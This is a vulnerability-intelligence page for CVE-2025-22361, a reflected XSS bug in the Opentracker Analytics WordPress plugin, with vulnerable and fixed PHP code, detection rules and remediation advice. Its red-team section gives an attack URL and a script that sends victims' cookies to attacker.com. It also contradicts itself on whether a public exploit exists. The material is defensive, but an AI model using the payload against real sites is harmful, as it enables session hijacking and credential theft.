☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Opentracker logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-22361

CVE-2025-22361 Cross-Site Scripting in Opentracker
📅 PUBLISHED: 2025-01-09 16:16 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.23%
👁️
0.23% probability
5.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-22361 is a reflected Cross-Site Scripting (XSS) vulnerability in the Opentracker Analytics WordPress plugin (versions <= 1.3). The plugin fails to properly neutralize user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as CWE-79 with a CVSS score of 7.1 (High). No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should treat this as a supply chain risk: if the plugin is installed, the site is vulnerable. No patched version exists, so removal or replacement is the only mitigation.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – Victim must click a crafted link.
  • Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): Low (L) – Limited service disruption.

Overall Score: 7.1 (High)

Deep Dive & Mechanics

The vulnerability resides in the opentracker-analytics plugin's handling of query parameters. When a user visits a crafted URL, the plugin reflects the malicious input without proper sanitization or output encoding. For example, a parameter like ?page=opentracker-analytics&<script>alert(1)</script> would be echoed back in the HTML response, executing the script in the victim's browser.

The root cause is the use of echo $_GET['param'] or similar unsanitized output functions. The plugin does not apply esc_html(), esc_attr(), or any WordPress escaping functions before rendering user input.

Vulnerable vs. Patched Code

Vulnerable Code (opentracker-analytics.php, line ~45):

<?php
function opentracker_analytics_page() {
    echo '<div class="wrap">';
    echo '<h1>' . $_GET['page'] . '</h1>'; // Unsanitized output
    echo '</div>';
}
?>

Patched Code (hypothetical fix):

<?php
function opentracker_analytics_page() {
    echo '<div class="wrap">';
    echo '<h1>' . esc_html( $_GET['page'] ) . '</h1>'; // Properly escaped
    echo '</div>';
}
?>

Exploitation & Lab Setup

Red Team (Attack Simulation)

  1. Craft the malicious URL:
    http://target-site.com/wp-admin/admin.php?page=opentracker-analytics&<script>alert('XSS')</script>
    
  2. Deliver via phishing email or social engineering to a logged-in admin.
  3. Payload example for session hijacking:
    <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
    
  4. No public exploit code exists – this is a manual exploitation scenario.

Blue Team (Defense & Detection)

  • Web Application Firewall (WAF) Rule: Block requests containing <script> in the page parameter.
  • Input Validation: Ensure all user input is sanitized server-side.
  • Content Security Policy (CSP): Implement a strict CSP to block inline scripts.
  • Monitor logs for unusual admin.php?page=opentracker-analytics requests with encoded payloads.

Indicators of Compromise (IOCs)

  • Network: HTTP requests to /wp-admin/admin.php?page=opentracker-analytics with suspicious query strings (e.g., <script>, %3Cscript%3E).
  • Host: Presence of the opentracker-analytics plugin in /wp-content/plugins/opentracker-analytics/.
  • Logs: Access logs showing admin.php?page=opentracker-analytics with non-standard parameters.
  • Browser: Unexpected JavaScript execution or redirects when visiting the admin page.

Detection Engineering

YARA Rule

rule CVE_2025_22361_Opentracker_XSS {
    meta:
        description = "Detects reflected XSS attempts against Opentracker Analytics plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22361"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $plugin_path = "opentracker-analytics"
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: Reflected XSS in Opentracker Analytics Plugin
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects reflected XSS attempts against the Opentracker Analytics WordPress plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'page=opentracker-analytics'
        cs-uri-query|re: '(<script|<img|<svg|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate admin usage with benign parameters
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-22361 - Reflected XSS in Opentracker Analytics"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=opentracker-analytics"; http_uri; pcre:"/(<script|<img|<svg|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  • Immediate: Remove or disable the opentracker-analytics plugin from all WordPress installations.
  • Alternative: Replace with a patched or alternative analytics plugin (e.g., MonsterInsights, Jetpack).
  • Long-term: Monitor the vendor's website for an official patch. If none appears, consider forking the plugin and applying the fix manually.
  • General: Implement a Web Application Firewall (WAF) with XSS rules, enforce Content Security Policy (CSP), and conduct regular security audits.

Valters IT
Securing Digital Frontiers

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-22361/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.